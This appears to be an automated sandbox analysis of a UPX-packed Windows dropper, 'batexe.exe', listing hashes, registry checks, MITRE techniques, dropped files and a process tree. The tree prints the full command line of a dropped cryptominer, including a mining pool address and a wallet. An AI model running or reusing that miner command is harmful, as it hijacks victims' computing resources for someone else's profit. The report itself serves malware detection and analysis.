73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
303s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 17:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1888637039-960448630-940472005-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1888637039-960448630-940472005-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4912	b2e.exe
1236	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1236	cpuminer-sse2.exe
1236	cpuminer-sse2.exe
1236	cpuminer-sse2.exe
1236	cpuminer-sse2.exe
1236	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1008-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1008 wrote to memory of 4912	1008	batexe.exe	87
PID 1008 wrote to memory of 4912	1008	batexe.exe	87
PID 1008 wrote to memory of 4912	1008	batexe.exe	87
PID 4912 wrote to memory of 468	4912	b2e.exe	88
PID 4912 wrote to memory of 468	4912	b2e.exe	88
PID 4912 wrote to memory of 468	4912	b2e.exe	88
PID 468 wrote to memory of 1236	468	cmd.exe	91
PID 468 wrote to memory of 1236	468	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1008
- C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\60AE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:468
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\b2e.exe

Filesize
16.7MB

MD5
30d6fbc3b32e285af4e4fd1853396648

SHA1
2120be53f4f931c72b19659ca3821b7411cdd6a5

SHA256
f255a0e95f6a10a84270bb068254b977b58687d67d17fdf90c3214e4a5a446ad

SHA512
5ec23b01833c88363c317bdd8a67f116f13b9ca501da3c1a08f617ae6383dc2c59794c1e0c5bdc5c5d44b0220b9033211a9f16cb2dc673a6e51cdd72c2cb38e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\b2e.exe

Filesize
5.9MB

MD5
5b367d7ac847a1df26622d49f95f4232

SHA1
818985e44a0f9f615eead56dae5fa13a11e00964

SHA256
f1b8691c36809fc807689967a864f887f2325a75631fb54dc028143c17a7fb42

SHA512
08e1f37abab823da8cb53a2f591cfe1cda0e6b12e47e4ed13eac348030fac4f47943b085b68978b95c0876c24b5df1e42614c148fdb74d5101175f7bd3f31a39

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DCF.tmp\b2e.exe

Filesize
7.0MB

MD5
13d9521d5d4a1bffa56bd23f6b0ab915

SHA1
2975070ffe6b34a1c9e0408f879eaa7689f5b5e7

SHA256
2fc12c666b4f3c0ed67ed69a3f76c9b935694d29ba3b9928ccbd4058088e6b89

SHA512
af201c5ecfdfd363b51d2830a9b4eea0c03ccc3ead169fd14a69788c0a7f069f242a7ef4c315664eb3cd0c256123fe7824f6d285305917ea1b2660e44cee813d

Download Submit
C:\Users\Admin\AppData\Local\Temp\60AE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
759dedca73a4d14fcb312517731c8a13

SHA1
63cc3961a1eff209d161c55b745c9161c69ca879

SHA256
459e13a18630609583dd2e0eb2bbf7b4dd7a2f60a428b2d8884330cb399884fb

SHA512
e50bee5c46f40d8aa76a0ff4a534abe997c1374f1aa52621240af39afda5c31ec7e37a2f3a3ac8e2a8050c8abe1b4bf5e1dc6bafa7091e0aaee7fcbf6f0faaf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
e36f7e31fa380b8ba9944fae7c5a2278

SHA1
18c042976cf16af3f7c728c06cc319ec156a9526

SHA256
c7a62281909a0cd44c313610fd94559f8f785e5f1e3266221d518a55c632f9cf

SHA512
29265ef4a24ae55bcac2fd61164acd7b41fada11fcfdd0f5570224917c4463a3e4f1c099e5f1a41509e2eb317afb8b88bd5d25df78b78a86d31caf46e4b4c5c7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
312f4bbc8350e1a21298768df7fc3810

SHA1
e610a312b5ff9cbf7aee3757fc44b842ac1e90ac

SHA256
71eaf5f379847c694b54dd0bad46f0eb0bd8d5909ad46d9854679aa692bb4c01

SHA512
0e2ed2e2d0a3030d41e7681c9bd59fc101bc232a7729b9174d8ba7abfec69d8bbafa8bed333a788108b711cba1194514b76e9148c190e95a793b4a8a0990c3ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1008-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1236-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1236-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1236-46-0x0000000050060000-0x00000000500F8000-memory.dmp

Filesize
608KB

Download
memory/1236-47-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/1236-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1236-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4912-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4912-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download